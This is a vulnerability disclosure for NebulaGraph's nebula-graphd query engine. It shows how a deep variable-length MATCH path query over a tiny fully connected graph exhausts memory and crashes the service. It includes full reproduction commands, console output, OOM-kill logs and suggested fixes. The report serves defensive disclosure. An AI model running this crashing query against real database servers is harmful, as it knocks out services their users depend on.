Dos via Combinatorial Explosion in MATCH Variable Length Path

Vulnerability name (*): Remote Denial of Service via Combinatorial Explosion in MATCH Variable Length Path

Description of the security issue (*): The nebula-graphd service fails to handle memory limits correctly when performing deep variable-length path traversals (MATCH ... -[*1..18]-> ...) on a dense graph.

Even on a very small dataset (6 nodes, fully connected), the number of possible paths grows exponentially. The query engine attempts to materialize these paths or intermediate results in memory before aggregation (count(p)), leading to massive memory consumption (over 270GB in the test case) and an OOM crash. This allows an attacker to craft specific queries to crash the database service.

Impacted Components (*):

Component: nebula-graphd (Query Engine)

Version: v3.8.0, Latest

Environment: Docker Container (Linux)

Reproduction Steps (*):

Connect to the NebulaGraph console.

Set up a test space and a small, fully connected graph (6 nodes, mesh topology):

CREATE SPACE IF NOT EXISTS test(partition_num=1, replica_factor=1, vid_type=INT64); USE test; CREATE TAG VLP(id int); CREATE EDGE NEXT(); INSERT VERTEX VLP(id) VALUES 10:(10), 11:(11), 12:(12), 13:(13), 14:(14), 15:(15); INSERT EDGE NEXT() VALUES 10->11:(), 10->12:(), 10->13:(), 10->14:(), 10->15:(), 11->10:(), 11->12:(), 11->13:(), 11->14:(), 11->15:(), 12->10:(), 12->11:(), 12->13:(), 12->14:(), 12->15:(), 13->10:(), 13->11:(), 13->12:(), 13->14:(), 13->15:(), 14->10:(), 14->11:(), 14->12:(), 14->13:(), 14->15:(), 15->10:(), 15->11:(), 15->12:(), 15->13:(), 15->14:(); Execute a variable length path query with high depth:

MATCH p=(a:VLP)-[:NEXT*1..18]->(b:VLP) WHERE id(a) == 10 RETURN count(p); Observation: The service crashes with an OOM error.

Server Logs:

Out of memory: Killed process XXXXXX (nebula-graphd) total-vm:272812532kB... Suggested Remediation:

Optimize the count(p) aggregation to avoid storing full path data in memory when only the count is required.

Implement stricter memory limits for intermediate results during traversal steps (BFS/DFS).

Set a default maximum hop limit or a timeout that triggers a graceful error rather than a process crash when memory pressure becomes critical.

Crash Evidence: (root@nebula) [(none)]> CREATE SPACE IF NOT EXISTS test(partition_num=1, replica_factor=1, vid_type=INT64); Execution succeeded (time spent 1.49ms/2.035736ms)

Sun, 07 Dec 2025 06:23:12 UTC

(root@nebula) [(none)]> USE test; Execution succeeded (time spent 1.133ms/1.590491ms)

Sun, 07 Dec 2025 06:23:20 UTC

(root@nebula) [test]> CREATE TAG VLP(id int); Execution succeeded (time spent 2.104ms/2.92039ms)

Sun, 07 Dec 2025 06:23:59 UTC

(root@nebula) [test]> CREATE EDGE NEXT(); Execution succeeded (time spent 13.843ms/14.353045ms)

Sun, 07 Dec 2025 06:24:04 UTC

(root@nebula) [test]> INSERT VERTEX VLP(id) VALUES 10:(10), 11:(11), 12:(12), 13:(13), 14:(14), 15:(15); Execution succeeded (time spent 6.731ms/7.343505ms)

Sun, 07 Dec 2025 06:24:54 UTC

(root@nebula) [test]> INSERT EDGE NEXT() VALUES 10->11:(), 10->12:(), 10->13:(), 10->14:(), 10->15:(),11->10:(), 11->12:(), 11->13:(), 11->14:(), 11->15:(),12->10:(), 12->11:(), 12->13:(), 12->14:(), 12->15:(),13->10:(), 13->11:(), 13->12:(), 13->14:(), 13->15:(),14->10:(), 14->11:(), 14->12:(), 14->13:(), 14->15:(),15->10:(), 15->11:(), 15->12:(), 15->13:(), 15->14:(); Execution succeeded (time spent 3.084ms/3.861332ms)

Sun, 07 Dec 2025 06:25:07 UTC

(root@nebula) [test]> MATCH p=(a:VLP)-[:NEXT*1..18]->(b:VLP) WHERE id(a) == 10 RETURN count(p); 2025/12/07 06:32:25 Loop error, failed to reconnect, failed to open transport, error: dial tcp 127.0.0.1:9669: connect: connection refused

---

[Sun Dec 7 14:32:18 2025] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=docker-4f216282a212235be81bb19fc651d4c8cd9899e9f87d775341825d875f16f0c9.scope,mems_allowed=0,global_oom,task_memcg=/system.slice/docker-23400ac57a450f8c051cef8dc8f49c83e1fe1b18d11c2b4e4a85bf2fd95e5851.scope,task=nebula-graphd,pid=540499,uid=0 [Sun Dec 7 14:32:18 2025] Out of memory: Killed process 540499 (nebula-graphd) total-vm:272812532kB, anon-rss:236988720kB, file-rss:16624kB, shmem-rss:0kB, UID:0 pgtables:466096kB oom_score_adj:0